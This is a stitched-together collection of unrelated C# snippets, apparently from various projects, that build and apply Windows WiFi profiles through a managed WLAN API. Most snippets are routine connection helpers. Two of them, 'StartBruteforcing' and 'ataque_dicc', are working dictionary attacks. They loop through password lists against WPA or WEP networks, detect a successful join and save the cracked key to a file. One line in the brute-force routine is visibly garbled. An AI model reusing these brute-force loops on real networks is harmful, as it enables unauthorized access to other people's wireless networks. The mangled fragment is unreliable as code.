/// <summary> /// 一键连接wifi网络 /// </summary> /// <param name="network">加密网络</param> /// <param name="password">密码</param> public static void ConnetWifi(WlanClient.WlanInterface wlanIface, Wlan.WlanAvailableNetwork network, string password) { string profile = GetStringForSSID(network.dot11Ssid); if (password != null) { string hex = StringToHex(profile); string authentication = GetAuthentication(network.dot11DefaultAuthAlgorithm); string authEncryption = GetEncryption(network.dot11DefaultCipherAlgorithm); string keytype = GetKeyType(authEncryption); string profileXml = string.Format("<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>auto</connectionMode><MSM><security><authEncryption><authentication>{2}</authentication><encryption>{3}</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>{4}</keyType><protected>false</protected><keyMaterial>{5}</keyMaterial></sharedKey></security></MSM></WLANProfile>", profile, hex, authentication, authEncryption, keytype, password); wlanIface.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true); wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profile); } else { //有profile的加密连接,直接连 if (network.securityEnabled) { wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profile); } else { string hex = StringToHex(profile); string profileXml = string.Format("<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>auto</connectionMode><MSM><security><authEncryption><authentication>open</authentication><encryption>none</encryption><useOneX>false</useOneX></authEncryption></security></MSM></WLANProfile>", profile, hex); wlanIface.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true); wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profile); } } }
public void ConnectToDrone() { lock (sync) { isBinding = true; try { //String xmlProfile = networkInterface.GetProfileXml(networkDrone.profileName); //networkInterface.SetProfile(Wlan.WlanProfileFlags.AllUser, xmlProfile, true); String xmlProfile = CreateProfile(networkDrone.SSID, "", false);// networkInterface.GetProfileXml(networkRouter.profileName); networkInterface.SetProfile(Wlan.WlanProfileFlags.AllUser, xmlProfile, true); Status("Connecting to " + networkDrone.SSID); bool bSuccess = networkInterface.ConnectSynchronously(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, networkDrone.SSID, 10000); //bool bSuccess = networkInterface.ConnectSynchronously(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, networkDrone.profileName, 10000); //networkInterface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, drone.profileName); } catch (Exception e) { Status("ERROR: " + e.Message); this.Invoke(stoppedBindDelegate); } } }
// Connects to an Open WiFi Network based on it's SSID (profileName) // Note that an "Open Wifi Network" is one without a CipherAlgorithm static void ConnectToOpenWifiNetwork(WlanClient.WlanInterface wlanIface, string profileName) { string profileXml = String.Format("<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><MSM><security><authEncryption><authentication>open</authentication><encryption>none</encryption><useOneX>false</useOneX></authEncryption></security></MSM></WLANProfile>", profileName); wlanIface.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true); wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName); Console.WriteLine("Attempted to connect to network with SSID {0}", profileName); }
private static void SelectWifiWithNoKey(string name, ref WlanClient.WlanInterface wlanIface) { // Connects to a known network with WEP security string profileName = name; // this is also the SSID string mac = StringToHex(profileName); // //string key = ""; string myProfileXML = string.Format("<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><hex>{1}</hex><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><MSM><security><authEncryption><authentication>open</authentication><encryption>none</encryption><useOneX>false</useOneX></authEncryption></security></MSM></WLANProfile>", profileName, mac); wlanIface.SetProfile(Wlan.WlanProfileFlags.AllUser, myProfileXML, true); wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName); }
public static void Connect(Network network, string pass) { WlanClient client = new WlanClient(); WlanClient.WlanInterface wlanIface = client.Interfaces[0]; String strTemplate = Properties.Resources.WPA2PSK; String authentication = "WPA2PSK"; String encryption = network.CipherAlgorithm; String key = pass; String profileXml = String.Format(strTemplate, network.SSID, authentication, key); wlanIface.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true); wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, network.SSID); }
void ConnectNewSecureNetwork(string ssid, string key, WlanClient.WlanInterface nic, Wlan.WlanAvailableNetwork network) { var log = ServiceRegistration.Get <ILogger>(); log.Info("WifiConfiguration: Building new Profile to connect to WLAN '{0}'", ssid); string profileXml = Helper.GetProfileXml(ssid, key, network.dot11DefaultAuthAlgorithm, network.dot11DefaultCipherAlgorithm); if (profileXml != null) { string error = null; try { Wlan.WlanReasonCode reasonCode = nic.SetProfile(Wlan.WlanProfileFlags.User, profileXml, true); if (reasonCode != Wlan.WlanReasonCode.Success) { error = reasonCode.ToString(); } } catch (Exception ex) { error = ex.Message; } if (error == null) { nic.ConnectSynchronously(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, ssid, CONNECTION_TIMEOUT_SECONDS); } else { log.Warn("WifiConfiguration: Setting Profile for WLAN '{0}' failed: '{1}'", ssid, error); ServiceRegistration.Get <IDialogManager>().ShowDialog("[Dialogs.ErrorHeaderText]", error, DialogType.OkDialog, false, DialogButtonType.Ok); } } else { // don't know how to build profile log.Warn("WifiConfiguration: No known Mapping to create Profile '{0}' for AuthAlg: '{1}' and CipherAlg: '{2}'", ssid, network.dot11DefaultAuthAlgorithm, network.dot11DefaultCipherAlgorithm); ServiceRegistration.Get <IDialogManager>().ShowDialog("[Dialogs.ErrorHeaderText]", "Unable to build profile. Connect in Windows.", DialogType.OkDialog, false, DialogButtonType.Ok); } }
private void Save(object sender, EventArgs e) { if (tb_prof_name.Text.Length == 0) { MessageBox.Show("El nombre de Perfil no debe estar vacio."); return; } if (tb_ssid.Text.Length == 0) { MessageBox.Show("El SSID no debe estar vacio."); return; } if (cb_auth.SelectedIndex > 0 && tb_key.Enabled && tb_key.TextLength < 8) { MessageBox.Show("Este metodo de autenticacion requiere de una contraseña de 8 o mas caracteres."); return; } string xmlsn = "http://www.microsoft.com/networking/WLAN/profile/v1"; XmlDocument doc = new XmlDocument(); doc.AppendChild(doc.CreateXmlDeclaration("1.0", null, null)); doc.AppendChild(doc.CreateElement("WLANProfile", xmlsn)); doc["WLANProfile"].AppendChild(doc.CreateElement("name", xmlsn)); doc["WLANProfile"]["name"].InnerText = tb_prof_name.Text; doc["WLANProfile"].AppendChild(doc.CreateElement("SSIDConfig", xmlsn)); doc["WLANProfile"]["SSIDConfig"].AppendChild(doc.CreateElement("SSID", xmlsn)); doc["WLANProfile"]["SSIDConfig"]["SSID"].AppendChild(doc.CreateElement("hex", xmlsn)); doc["WLANProfile"]["SSIDConfig"]["SSID"]["hex"].InnerXml = BitConverter.ToString(Encoding.Default.GetBytes(tb_ssid.Text)).Replace("-", ""); doc["WLANProfile"]["SSIDConfig"]["SSID"].AppendChild(doc.CreateElement("name", xmlsn)); doc["WLANProfile"]["SSIDConfig"]["SSID"]["name"].InnerText = tb_ssid.Text; doc["WLANProfile"].AppendChild(doc.CreateElement("connectionType", xmlsn)); doc["WLANProfile"]["connectionType"].InnerText = connection_type[cb_type.SelectedIndex]; doc["WLANProfile"].AppendChild(doc.CreateElement("connectionMode", xmlsn)); doc["WLANProfile"]["connectionMode"].InnerText = connection_mode[cb_mode.SelectedIndex]; doc["WLANProfile"].AppendChild(doc.CreateElement("MSM", xmlsn)); doc["WLANProfile"]["MSM"].AppendChild(doc.CreateElement("security", xmlsn)); doc["WLANProfile"]["MSM"]["security"].AppendChild(doc.CreateElement("authEncryption", xmlsn)); doc["WLANProfile"]["MSM"]["security"]["authEncryption"].AppendChild(doc.CreateElement("authentication", xmlsn)); doc["WLANProfile"]["MSM"]["security"]["authEncryption"]["authentication"].InnerText = authentication[cb_auth.SelectedIndex]; doc["WLANProfile"]["MSM"]["security"]["authEncryption"].AppendChild(doc.CreateElement("encryption", xmlsn)); doc["WLANProfile"]["MSM"]["security"]["authEncryption"]["encryption"].InnerText = encryption[cb_encryption.SelectedIndex]; doc["WLANProfile"]["MSM"]["security"]["authEncryption"].AppendChild(doc.CreateElement("useOneX", xmlsn)); doc["WLANProfile"]["MSM"]["security"]["authEncryption"]["useOneX"].InnerText = "false"; if (cb_auth.SelectedIndex > 0) { doc["WLANProfile"]["MSM"]["security"].AppendChild(doc.CreateElement("sharedKey", xmlsn)); doc["WLANProfile"]["MSM"]["security"]["sharedKey"].AppendChild(doc.CreateElement("keyType", xmlsn)); doc["WLANProfile"]["MSM"]["security"]["sharedKey"]["keyType"].InnerText = key_type[cb_key_type.SelectedIndex]; doc["WLANProfile"]["MSM"]["security"]["sharedKey"].AppendChild(doc.CreateElement("protected", xmlsn)); doc["WLANProfile"]["MSM"]["security"]["sharedKey"]["protected"].InnerText = cb_protected.Checked.ToString().ToLower(); doc["WLANProfile"]["MSM"]["security"]["sharedKey"].AppendChild(doc.CreateElement("keyMaterial", xmlsn)); doc["WLANProfile"]["MSM"]["security"]["sharedKey"]["keyMaterial"].InnerText = tb_key.Text; } if (!is_new) { str_profile_name = profile["WLANProfile"]["name"].InnerText; try { adapter.DeleteProfile(str_profile_name); } catch (Exception ex) { MessageBox.Show("En delete profile: " + ex.Message); } } else { str_profile_name = tb_prof_name.Text; } try { adapter.SetProfile(Wlan.WlanProfileFlags.AllUser, doc.OuterXml, false); } catch (Exception ex) { MessageBox.Show("En set profile: " + ex.Message); tb_preview.Text = doc.OuterXml; return; } UpdateProfiles(); UpdateData(); if (is_new) { Close(); } }
public static void StartBruteforcing(Wlan.WlanAvailableNetwork network, List <string> passwordDictionary) { //foreach (Wlan.WlanProfileInfo profileInfo in Interface.GetProfiles()) //{ // string name = profileInfo.profileName; // this is typically the network's SSID // string xml = Interface.GetProfileXml(profileInfo.profileName); //} Console.ForegroundColor = ConsoleColor.DarkCyan; if (network.dot11DefaultCipherAlgorithm == Wlan.Dot11CipherAlgorithm.WEP) { Console.WriteLine(" Brute-forcing WEP network, using only 5 & 13 character passwords\r\n"); Interval = 5000; } else { Console.WriteLine(" Brute-forcing WPA network, using 8+ character passwords\r\n"); Interval = 2000; } Console.ForegroundColor = ConsoleColor.Magenta; Console.WriteLine(" = Start " + DateTime.Now.ToString()); Console.ForegroundColor = ConsoleColor.DarkMagenta; Console.WriteLine(" = " + GetStringForSSID(network.dot11Ssid) + "\r\n"); string profileName = GetStringForSSID(network.dot11Ssid); // this is also the SSID string mac = StringToHex(profileName); for (int i = 0; i < passwordDictionary.Count; i++) { LineClear(); Console.ForegroundColor = ConsoleColor.Yellow; Console.Write(String.Format("[{0}/{1}] ", (i + 1), passwordDictionary.Count)); Console.ForegroundColor = ConsoleColor.White; Console.Write(passwordDictionary[i]); Console.ForegroundColor = ConsoleColor.DarkGray; //if(passwordDictionary.Count >= 10) Console.Write(" time left: " + GetTimeLeft(passwordDictionary.Count, i, Interval)); string key = passwordDictionary[i]; if (network.dot11DefaultCipherAlgorithm == Wlan.Dot11CipherAlgorithm.WEP) { if (key.Length != 5 && key.Length != 13) { continue; } } else { if (key.Length < 8) { continue; } } string profileXml = GenerateXmlWLAN(network, key); Interface.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true); Interface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, profileName); Thread.Sleep(Interval); if (Interface.CurrentConnection.isState != Wlan.WlanInterfaceState.Connected || Interface.CurrentConnection.isState == Wlan.WlanInterfaceState.Authenticating || Interface.CurrentConnection.isState == Wlan.WlanInterfaceState.Associating) { continue; } else { Console.ForegroundColor = ConsoleColor.Green; Console.Write("\r\n\r\n = Hacked. PASSWORD: "******".txt")) { w.WriteLine(passwordDictionary[i]); } break; } //Interface.Connect(Wlan.WlanConnectionMode.TemporaryProfile, Wlan.Dot11BssType.Any, network.dot11Ssid, Wlan.WlanConnectionFlags.AdhocJoinOnly); //Thread.Sleep(1500); } Console.ForegroundColor = ConsoleColor.Magenta; Console.WriteLine("\r\n\r\n = Done " + DateTime.Now.ToString()); Console.ForegroundColor = ConsoleColor.DarkMagenta; Console.WriteLine(" = Press any key..."); Console.ReadKey(); }
public Wlan.WlanReasonCode SetProfile(Wlan.WlanProfileFlags flags, string profileXml, bool overwrite) { return(_wlanInterface.SetProfile(flags, profileXml, overwrite)); }
private void ataque_dicc() { long tcpPackets = get_session_ip(); long performed = 0; MaxProgres = Utils.CountLinesInFile(diccionario); double percent = 0; string profileXml; bool keyLista = false; string tipo_key = ""; string index_key = ""; System.IO.StreamReader reader = null; try{ if (File.Exists(tmpFileName)) { if (continueAttack) { using (StreamReader r = new StreamReader(tmpFileName)) { String line = null; line = r.ReadLine(); String[] vars = line.Split(','); strName = vars[0]; strCipher = vars[1]; diccionario = vars[2]; strAuth = vars[3]; delay = int.Parse(vars[4]); reader = new StreamReader(diccionario); Key = string.Empty; while (!vars[5].Equals(Key) && !reader.EndOfStream) { Key = reader.ReadLine(); performed++; percent = performed / MaxProgres * 100; ReportProgress((int)percent); } keyLista = true; } File.Delete(tmpFileName); } // cargar variables else { File.Delete(tmpFileName); reader = new StreamReader(diccionario); } } else { strName = SelectedWlan.ESSID; strCipher = WlanClient.getCipher(SelectedWlan.Cipher); strAuth = WlanClient.getAuth(SelectedWlan.Auth); reader = new StreamReader(diccionario); } while (!connected && !reader.EndOfStream && !CancellationPending) { if (!keyLista) { Key = reader.ReadLine(); } else { keyLista = false; } if (key_valid(Key, strCipher)) { tipo_key = "passPhrase"; if (strCipher == "WEP") { tipo_key = "networkKey"; } if (strAuth == "open") { index_key = "<keyIndex>0</keyIndex>"; } profileXml = string.Format("<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><MSM><security><authEncryption><authentication>{2}</authentication><encryption>{3}</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>{4}</keyType><protected>false</protected><keyMaterial>{1}</keyMaterial></sharedKey>{5}</security></MSM></WLANProfile>", strName, Key, strAuth, strCipher, tipo_key, index_key); INTERFAZ.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true); INTERFAZ.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, strName); performed++; percent = performed / MaxProgres * 100; ReportProgress((int)percent); while (INTERFAZ.InterfaceState == Wlan.WlanInterfaceState.Associating || INTERFAZ.InterfaceState == Wlan.WlanInterfaceState.Authenticating) { Thread.Sleep(50); } Thread.Sleep(delay * 1000); if (Math.Abs(IfaceEthernet.GetIPv4Statistics().BytesReceived - tcpPackets) > 3) { connected = true; } if (!connected) { INTERFAZ.DeleteProfile(strName); } Thread.Sleep(50); if (CancellationPending) { WorkerCancelled = true; } } } } catch (Exception ex) { Console.WriteLine(ex); Debug.WriteLine(ex); } finally { if (reader != null) { reader.Close(); } } }
private void Run() { this.LoadConfig(); this.currentConfigCancelSource = new CancellationTokenSource(); ServiceProxy coreService; try { coreService = new ServiceProxy() { CanSendCallbacks = false }; ServiceHost host = new ServiceHost(coreService); host.Open(); coreService.SettingsUpdatedEvent += CoreService_SettingsUpdatedEvent; } catch (Exception ex) { Trace.TraceError(ex.ToString()); throw; } do { if (this.settings != null) { coreService.Settings = this.settings; coreService.CanSendCallbacks = true; Trace.TraceInformation(this.settings.ToString()); this.currentConfigCancelSource = new CancellationTokenSource(); WlanClient client = new WlanClient(); WlanClient.WlanInterface wlanIface = client.Interfaces.SingleOrDefault(p => p.InterfaceGuid.Equals(this.settings.WlanInterfaceId)); if (wlanIface == null) { throw new ArgumentException("The provided wlan interface id does not exist."); } byte[] otpKey = Base32.Base32Encoder.Decode(this.settings.SecretKeyBase32); OtpSharp.Totp otpProvider = new OtpSharp.Totp(otpKey, this.settings.StepSeconds, totpSize: this.settings.TotpDigitCount); WLANProfile defaultProfile = WLANProfile.Default(this.settings.ESSID); if (wlanIface.GetProfiles().Any(p => p.profileName.Equals(this.settings.ESSID))) { wlanIface.DeleteProfile(this.settings.ESSID); } XmlSerializer xmlSer = new XmlSerializer(typeof(WLANProfile)); string textProfile = String.Empty; using (StringWriter writer = new StringWriter()) { xmlSer.Serialize(writer, defaultProfile); textProfile = writer.ToString(); } DateTime currentDate; DateTime nextChange; nextChange = currentDate = DateTime.UtcNow; SHA1CryptoServiceProvider sha1Provider = new SHA1CryptoServiceProvider(); string pskhash = BitConverter.ToString(sha1Provider.ComputeHash(Encoding.ASCII.GetBytes(this.settings.PSHK))).Replace("-", "").ToLower(); do { try { double sleepSeconds = 0.1; if (currentDate >= nextChange) { try { //Generate key string otp = otpProvider.ComputeTotp(currentDate); string totphash = BitConverter.ToString(sha1Provider.ComputeHash(Encoding.ASCII.GetBytes(otp))).Replace("-", "").ToLower(); string newKey = BitConverter.ToString(sha1Provider.ComputeHash(Encoding.ASCII.GetBytes(totphash + pskhash))).Replace("-", "").ToLower(); Trace.TraceInformation(otp + " - " + newKey); //if (wlanIface.CurrentConnection.profileName.Equals(networkName, StringComparison.OrdinalIgnoreCase)) { string newProf = profileRegex.Replace(textProfile, $"<protected>false</protected><keyMaterial>{newKey}</keyMaterial>"); wlanIface.SetProfile(Wlan.WlanProfileFlags.AllUser, newProf, true); if (this.settings.AutoConnect) { //wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, defaultProfile.Name); wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, defaultProfile.Name); } } int desync = (int)DateTime.UtcNow.TimeOfDay.TotalSeconds % this.settings.StepSeconds; nextChange = DateTime.UtcNow.AddSeconds(this.settings.StepSeconds - desync); Task.Factory.StartNew(() => coreService.UpdateValues(newKey, nextChange)); sleepSeconds = this.settings.StepSeconds - desync - 1; Trace.TraceInformation("Next change: " + nextChange.ToString("T")); } catch (Exception e) { Trace.TraceError(e.ToString()); } } //Task.Delay(TimeSpan.FromSeconds(sleepSeconds), this.currentConfigCancelSource.Token).Wait(); this.currentConfigCancelSource.Token.WaitHandle.WaitOne(TimeSpan.FromSeconds(sleepSeconds)); currentDate = DateTime.UtcNow; } catch (AggregateException) { } } while (!this.currentConfigCancelSource.IsCancellationRequested); sha1Provider.Dispose(); } else { coreService.CanSendCallbacks = false; Trace.TraceInformation("Waiting for a valid settings"); //Task.Delay(TimeSpan.FromSeconds(10), this.currentConfigCancelSource.Token).Wait(); this.currentConfigCancelSource.Token.WaitHandle.WaitOne(TimeSpan.FromSeconds(60)); } } while (!this.serviceCancelSource.IsCancellationRequested); }